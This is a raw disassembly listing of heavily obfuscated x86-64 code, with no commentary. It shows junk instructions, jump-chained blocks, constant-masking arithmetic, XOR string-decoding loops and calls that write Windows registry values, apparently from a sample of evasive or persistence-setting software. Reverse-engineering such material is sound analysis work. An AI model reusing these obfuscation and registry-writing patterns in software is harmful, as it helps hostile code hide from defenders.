paddd xmm2, xmm5
xchg r12, r12
jmp 0x140026ef9
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
jmp 0x14002785c
movups xmm0, xmmword [str.PPPPRL]
movups xmm1, xmmword [0x14010cbd8]
xchg r12, rsp
jmp 0x14002700f
xchg rsp, r9
cmp edi, 2
mov r11, r11
jl 0x14002743b
movdqa xmm0, xmmword [0x14010c310]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
jmp 0x140027d08
punpckhdq xmm0, xmm3
mov rbp, rbp
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
mov r10, r10
paddd xmm1, xmm3
jmp 0x140027995
xchg rsp, r10
movups xmmword [r10 + 0x60], xmm0
xchg r10, rsp
cmp edi, 2
jmp 0x140027c10
movups xmm0, xmmword [r13 + 0x60]
xchg rcx, r13
xchg rdx, r12
movups xmmword [r12 - 0x30], xmm1
xchg rdx, r12
xchg rbx, rcx
jmp 0x1400271f6
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov rdi, rdi
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x140027840
sub dword [rsp + 0x28], 0x57593f03
add dword [rsp + 0x28], 0x278c3817
sub dword [rsp + 0x28], 0xe5a5edb
add dword [rsp + 0x28], 0x1f5fcc7b
sub dword [rsp + 0x28], 0x585c9737
sub dword [rsp + 0x28], 0x2bb589d
jmp 0x140027697
nop dword [rax]
mov eax, 0x7a59f015
xor eax, 0x1babf2b3
add eax, 0x186da20b
jmp 0x140026eb3
shr eax, 0x12
shr eax, 0xc
shr eax, 1
add edx, eax
jmp 0x1400273cc
mov dword [rsp - 0x44], ebx
imul r8d
add edx, r8d
jmp 0x140026f79
mov dword [rsp - 0x20], 0xbd8a2b4
inc ebx
sub al, cl
add al, 0x32
mov dword [rsp - 0x14], 0x6addd8b
xor byte [r8 - 1], al
cmp ebx, 0xad
jmp 0x140027230
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
movd xmm8, r15d
jmp 0x140026ec7
shr eax, 1
add edx, eax
mov dword [rsp - 0x14], 0x3eedd5fa
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
jmp 0x140027182
inc r8d
sub al, cl
add al, 0x32
mov dword [rsp - 0x30], 0x511689a8
xor byte [r10 - 1], al
cmp r8d, 8
jl 0x140026d49
jmp 0x140027297
movups xmm1, xmmword [rbx + 0x80]
xchg rbx, rcx
xchg rdx, rdi
movups xmmword [rdi - 0x20], xmm0
xchg rdi, rdx
xchg rsi, rcx
movups xmm0, xmmword [rsi + 0x70]
jmp 0x140027c79
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg rbx, rbx
jmp 0x140027025
jl 0x140027c06
xchg r12, r12
lea rcx, [rsp + 0x40]
call fcn.1400a4040
mov rcx, qword [rbp + 0x10]
mov r11, r11
xor rcx, rsp
jmp 0x140026f1b
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x140026fcd
mov r10, r10
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140026f37
xchg r15, r15
cmp edi, 2
jl 0x140027bf5
movdqa xmm0, xmmword [0x14010c310]
jmp 0x140027a4c
xchg rcx, rcx
xchg rcx, r13
mov r13, qword [rbp - 0x10]
xchg r13, rcx
lea rax, [rbp - 8]
mov dword [rsp + 0x28], 0x5a27b586
add dword [rsp + 0x28], 0x1fb7d39e
jmp 0x140027117
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x24], 0x7952ffdb
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
mov r9, r9
jmp 0x140027057
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
xchg rsi, rsi
jmp 0x140026de6
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg r15, r15
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140027a99
mov r13, r13
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
mov dword [rsp - 0x40], esi
jmp 0x140027cef
xchg rdx, rbx
movups xmmword [rbx - 0x80], xmm0
xchg rbx, rdx
movups xmm0, xmmword [rcx + 0x20]
jmp 0x140027a8a
imul r8d
add edx, r8d
sar edx, 3
sar edx, 1
sar edx, 1
mov eax, edx
mov r10, r10
jmp 0x140027164
cmp ebx, 0xad
mov dword [rsp - 0x30], 0x6be4ec90
jge 0x140027239
jmp 0x140027bf5
sub al, 5
add al, 0x37
xor byte [r9 - 1], al
jmp 0x14002760b
paddw xmm3, xmm2
mov dword [rsp - 0x38], esp
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
jmp 0x1400274c5
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
xchg r11, r11
pshufd xmm2, xmm1, 0xd8
jmp 0x140027418
paddd xmm3, xmm5
pmuldq xmm0, xmm4
mov dword [rsp - 0x3c], 0x4a6aa031
sub r8d, 0xfffffff8
pmuldq xmm1, xmm4
jmp 0x140027830
mov dword [rsp - 0x10], esp
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
mov dword [rsp - 0xc], 0x67696a02
jmp 0x1400277ed
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
xchg rbx, rbx
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x140027265
shr eax, 1
add edx, eax
mov dword [rsp - 0x3c], 0x533d69a1
jmp 0x140027580
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x3c], ebx
paddb xmm2, xmm0
jmp 0x14002758f
mov dword [rsp - 0xc], esi
jge 0x140027712
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
jmp 0x140027539
mov rsi, qword [rsp + 0x180]
je 0x140027243
mov eax, dword [0x14010cbc0]
xchg rdx, rdx
mov r8d, ebx
mov dword [rsp + 0x70], eax
movzx eax, byte [0x14010cbc4]
jmp 0x1400274dc
movaps xmm9, xmmword [rdi + 0x120]
xchg rsp, rdi
test sil, sil
mov dword [rsp - 0x38], edx
jmp 0x14002744b
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg rsp, rsp
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x1400270a8
add rsp, 8
mov r15, qword [rsp - 8]
nop
mov r14, qword [rsp]
add rsp, 8
nop
add rsp, 8
jmp 0x14002703c
cmp r8d, 0x18
mov dword [rsp - 0x20], esi
jl 0x140027b54
cmp r8d, 0x1b
jmp 0x1400279c4
mov byte [rsp + 0x74], al
mov rbx, rbx
movups xmm0, xmmword [str.VZGX]
jmp 0x1400275c1
imul ebx
mov dword [rsp - 0xc], ebp
add edx, ebx
sar edx, 5
mov eax, edx
mov rsp, rsp
jmp 0x140026e64
inc r8d
xchg rbx, rbx
sub al, cl
jmp 0x140027374
paddb xmm2, xmm0
mov dword [rsp - 0x44], 0x663c3382
movd xmm0, dword [rcx - 0xc]
jmp 0x140026e72
xchg rdi, rcx
movups xmmword [rdx - 0x40], xmm0
xchg r11, r11
xchg r13, rcx
jmp 0x1400270dc
mov dword [rsp - 0x30], ecx
nop dword [rax]
mov eax, 0x6ac81609
jmp 0x14002779d
movups xmm0, xmmword [0x14010cb78]
xchg r9, rsp
movups xmmword [r9 + 0x50], xmm1
xchg rsp, r9
xchg r15, rsp
jmp 0x14002791b
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0xc], 0x6519accb
jmp 0x140026e1d
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
jmp 0x140027504
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
xchg rcx, rcx
movd dword [rcx - 8], xmm2
cmp ebx, 0xa8
jl 0x140026ed5
jmp 0x14002735b
xchg rsp, rsi
movdqa xmmword [rsi + 0x30], xmm0
xchg rsp, rsi
jmp 0x1400271a7
movups xmm1, xmmword [0x14010cba0]
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp - 0x20], esp
movups xmm0, xmmword [0x14010cbb0]
movups xmmword [rsp + 0x50], xmm1
jmp 0x1400270c9
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
jmp 0x1400278bd
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140027740
mov dword [rsp - 0x30], edx
cmp r8d, 0x35
jl 0x140027150
lea rcx, [rsp + 0x40]
call fcn.1400e3a60
xchg rcx, rcx
mov eax, dword [0x14010cbe8]
jmp 0x1400276ea
mov dword [rsp - 0x3c], 0x1f9a5cc7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
xchg rcx, rcx
jmp 0x140027cb2
punpckldq xmm1, xmm2
xchg r12, r12
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x1c], 0x508894f2
jmp 0x1400276d0
xchg rsi, rsi
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
mov rsp, rsp
jmp 0x1400277bf
sub eax, 0x13611ecc
add eax, 0x5d15f4dc
lea r8, [r8 + 1]
jmp 0x1400274ef
lea rdx, [rbp]
mov dword [rsp - 0xc], 0x1bf603fb
mov r9d, 0x45511a9e
add r9d, 0x32c0eaad
jmp 0x140026fa3
add r8d, 0xfffffff8
neg r8d
movdqa xmm1, xmm2
xchg rbp, rbp
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14002764d
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x40], ecx
jmp 0x1400275f9
mov r8d, ebx
mov dword [rsp + 0x60], eax
movzx eax, word [0x14010cbec]
xchg r15, r15
mov word [rsp + 0x64], ax
jmp 0x140027069
cmp r8d, 0x26
jl 0x140027540
mov r13, r13
lea rcx, [rsp + 0x40]
call fcn.1400e3a60
lea rcx, [0x14010cbf0]
mov dword [rsp - 0x14], 0x32704eb5
jmp 0x140026dfd
pxor xmm2, xmm0
movdqa xmm0, xmm3
mov r10, r10
jmp 0x1400275e2
pshuflw xmm0, xmm2, 0xd8
mov r9, r9
movq xmm2, xmm9
jmp 0x140027564
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x30], 0x1199bb36
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
mov rbp, rbp
jmp 0x140027216
movdqa xmm7, xmmword [str.3333]
xchg r14, rsp
movdqa xmmword [r14 + 0x30], xmm0
xchg rsp, r14
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x3c], 0x72da2a90
jmp 0x140026dc7
xor eax, 0x586d7202
add eax, 0x32b0c566
xor eax, 0x381d0028
sub eax, 0x2c70baba
xor eax, 0x907ace3e
lea r9, [r9 + 1]
jmp 0x140027173
sub al, cl
add al, 0x78
sub al, 0x46
xor byte [r9 - 1], al
jmp 0x140027705
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov r15, r15
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x140027397
sub ax, cx
sub ax, 0xffce
xor word [r9 - 2], ax
cmp r8d, 0x1b
mov dword [rsp - 0xc], 0x6772bd45
jl 0x140027b2d
lea rcx, [rsp + 0x40]
jmp 0x140026e43
mov qword [rsp + 0x20], rcx
xchg rcx, rax
xor r8d, r8d
mov dword [rsp - 0x34], ecx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jmp 0x140027aef
shufps xmm1, xmm0, 0xdd
xchg r15, r15
paddd xmm1, xmm2
jmp 0x140027cd0
movq xmm2, xmm9
mov r10, r10
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
jmp 0x140027381
movdqa xmm0, xmm2
mov dword [rsp - 0xc], 0x50697e43
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
neg ebx
jmp 0x140026f5b
movaps xmm8, xmmword [rsi - 0x30]
xchg r11, rsi
xchg rcx, rsp
mov rcx, r11
xchg rcx, rsp
nop
jmp 0x1400274a9
xor eax, 0x5a8b6f03
xor eax, 0x34642fad
xor eax, 0x5194d1cf
xor eax, 0x1faf76be
add eax, 0x90bd470b
lea r9, [r9 + 2]
mov dword [rsp - 0xc], 0x3918ed15
jmp 0x140027344
mov r13, r13
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov r14, r14
jmp 0x1400277ce
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg r9, r9
pshufd xmm2, xmm1, 0xd8
jmp 0x140027a75
mov rbx, qword [r11 + 0x30]
xchg rbx, rdi
xchg r11, rsi
movaps xmm6, xmmword [rsi - 0x10]
jmp 0x1400279af
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
xchg rbx, rbx
paddb xmm2, xmm0
jmp 0x1400279e6
movups xmmword [r15 + 0x60], xmm0
xchg rsp, r15
cmp edi, 2
mov dword [rsp - 0x34], edi
jl 0x1400279ca
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rsp + 0x40]
jmp 0x140027942
movdqa xmm4, xmmword [0x14010d430]
xchg r11, r11
movdqa xmm7, xmmword [str.3333]
movdqa xmm9, xmmword [0x14010c2f0]
jmp 0x140027b46
sar edx, 5
mov eax, edx
mov r15, r15
shr eax, 1
shr eax, 1
shr eax, 0x1c
jmp 0x140027407
jge 0x140027619
movsxd rax, r8d
mov dword [rsp - 0x40], 0x3308aa11
lea r9, [rsp + 0x40]
add r9, rax
jmp 0x14002714c
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x30], 0x69422d32
jmp 0x1400272e1
xchg r11, rsi
xchg rsi, r11
movaps xmm7, xmmword [rsi - 0x20]
xchg r11, rsi
xchg r11, rsi
jmp 0x14002787c
jge 0x14002780b
movsxd rax, r8d
xchg rbp, rbp
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
jmp 0x140027b2a
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov r12, r12
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140027ac1
cmp r8d, 0x26
jmp 0x140027431
mov r14, r14
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
mov r12, r12
movd xmm0, dword [rcx - 0xc]
jmp 0x140027730
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14010cb58]
xchg r13, r13
movups xmm1, xmmword [0x14010cb68]
xchg rsp, rbx
movups xmmword [rbx + 0x40], xmm0
xchg rbx, rsp
jmp 0x14002754a
xchg r13, r13
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d430]
mov dword [rsp - 0x30], edi
movdqa xmm7, xmmword [str.3333]
jmp 0x1400275b1
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x2c], ebx
jmp 0x140027b15
xchg rdx, rbp
movups xmmword [rbp - 0x70], xmm1
xchg rbp, rdx
jmp 0x140026ff2
mov rdi, rdi
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140027ad3
mov edx, dword [rsp + 0x30]
xchg rdi, rdi
movd xmm6, r14d
movd xmm8, r15d
movd xmm2, r8d
mov dword [rsp - 0x34], esi
lea eax, [r8 + 4]
jmp 0x1400273ea
movdqa xmm1, xmm3
mov r12, r12
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
jmp 0x140027a0a
je 0x140026e48
mov dword [rsp - 0x38], ebp
mov eax, dword [0x14010cb88]
mov r8d, ebx
mov dword [rsp + 0x70], eax
mov r8, r8
movzx eax, word [0x14010cb8c]
jmp 0x140027a27
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
xchg rdi, rdi
jmp 0x14002748c
xchg r14, r14
mov eax, 0x4051ebae
xor eax, 0x2beb8f19
sub eax, 0x4ba96af0
xor eax, 0xf27478e
jmp 0x140027893
movd xmm6, r14d
movd xmm8, r15d
mov dword [rsp - 0x24], ebp
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
jmp 0x140026e90
shr eax, 5
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x14002766f
pxor xmm2, xmm0
mov dword [rsp - 0x2c], 0x4a9680ca
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x140026dd5
mov dword [rsp - 0x14], esi
cmp r8d, 0x35
jmp 0x140027977
add eax, 0x6a43b7d4
lea r9, [r9 + 1]
mov dword [rsp - 0x20], 0x3b2f1f8b
imul r8d
add edx, r8d
jmp 0x140027963
movups xmm0, xmmword [r8 + 0x40]
xchg r8, rcx
xchg rdx, rsi
movups xmmword [rsi - 0x50], xmm1
xchg rdx, rsi
xchg rdi, rcx
movups xmm1, xmmword [rdi + 0x50]
jmp 0x140027527
sub eax, 0x44a145f1
add eax, 0x1b3f2119
xor eax, 0x7266f32b
add eax, 0xc29ca73
jmp 0x140027684
movsxd rax, ebx
lea r8, [rsp + 0x40]
add r8, rax
xchg r15, r15
nop dword [rax]
mov eax, 0x6207180d
jmp 0x140027bdc
mov dword [rsp - 0x44], ebp
jl 0x14002797d
movdqa xmm0, xmmword [0x14010c310]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
mov dword [rsp - 0x3c], 0x45abae91
movdqa xmm4, xmmword [0x14010d430]
jmp 0x140027773
mov rcx, qword [rbp - 0x10]
mov dword [rsp - 0x18], 0x20abafa6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xchg rsp, rdi
jmp 0x140027475
mov rbx, rbx
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
jmp 0x14002727e
xchg rsi, rcx
xchg rdx, r8
movups xmmword [r8 - 0x10], xmm0
xchg r8, rdx
movups xmm0, xmmword [rcx + 0x90]
mov r10, r10
xchg rdx, r10
jmp 0x140026e9f
add eax, 0x9110087
sub eax, 0x2a66044d
add eax, 0x295f6562
xor eax, 0xff72f43a
jmp 0x140026ede
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov r10, r10
psubd xmm2, xmm0
jmp 0x1400278d4
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x24], edi
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140026d67
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
xchg r13, r13
jmp 0x140026f85
mov dword [rsp - 0x2c], 0x58841826
movdqa xmm4, xmmword [0x14010d430]
movdqa xmm7, xmmword [str.3333]
xchg r11, rsp
movdqa xmmword [r11 + 0x30], xmm0
xchg rsp, r11
jmp 0x140027ab0